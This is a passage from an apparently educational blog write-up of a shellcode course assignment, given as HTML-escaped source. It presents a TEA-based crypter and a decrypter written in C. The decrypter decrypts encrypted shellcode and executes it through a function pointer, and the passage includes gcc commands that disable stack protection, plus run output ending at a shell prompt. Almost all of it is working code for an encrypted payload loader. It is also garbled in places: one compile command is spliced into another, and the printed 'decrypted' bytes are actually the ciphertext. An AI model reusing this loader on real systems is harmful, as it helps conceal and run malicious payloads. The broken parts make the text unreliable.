	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;x%02x&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s compile and run our TEA crypter:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o tea_crypter tea_crypter.c &amp;amp;&amp;amp; chmod u+x ./tea_crypter &amp;amp;&amp;amp; ./tea_crypter&lt;/span&gt;
Ciphered shellcode size: 25
Ciphered shellcode:
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;75&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ac&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f4&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;4c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;4f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;97&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;9a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;0a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;92&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b5&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;29&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;5f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;9e&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a7&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a9&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;3c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;85&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ee&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;95&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s decrypt and execute this shellcode (&lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment7/tea_decrypter.c&quot;&gt;tea_decrypter.c&lt;/a&gt;):&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9e3779b9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	     	&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; 
	     	&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	     	&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
	&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* Character Array Functions */&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decodestr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keystr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keystr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
	&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x75\xac\xf4\x4c\x4f\x97\x9a\x0a\x92\xb5\x29\x5f\x9e\xa3\xa0\x53\xa7\xa9\xcd\x3c\x6f\x85\xee\x95\x80&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	

	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;512&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;iloveshellcodess&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;decodestr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Decrypted shellcode:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;x%02x&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// we are executing the shellcode once it has been decrypted&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Running shellcode...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)())&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o tea_crypter tea_crypter.c &amp;amp;&amp;amp; chmod u+x ./tegcc -fno-stack-protector -z execstack -o tea_decrypter tea_decrypter.c &amp;amp;&amp;amp; chmod u+x ./tea_decrypter &amp;amp;&amp;amp; ./tea_decrypter&lt;/span&gt;
Decrypted shellcode:
&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;75&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ac&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;f4&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;4c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;4f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;97&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;9a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;0a&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;92&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b5&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;29&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;5f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;9e&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a7&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;a9&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;3c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;85&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;ee&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;95&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;80
Running shellcode...
&lt;span class=&quot;c&quot;&gt;# id&lt;/span&gt;
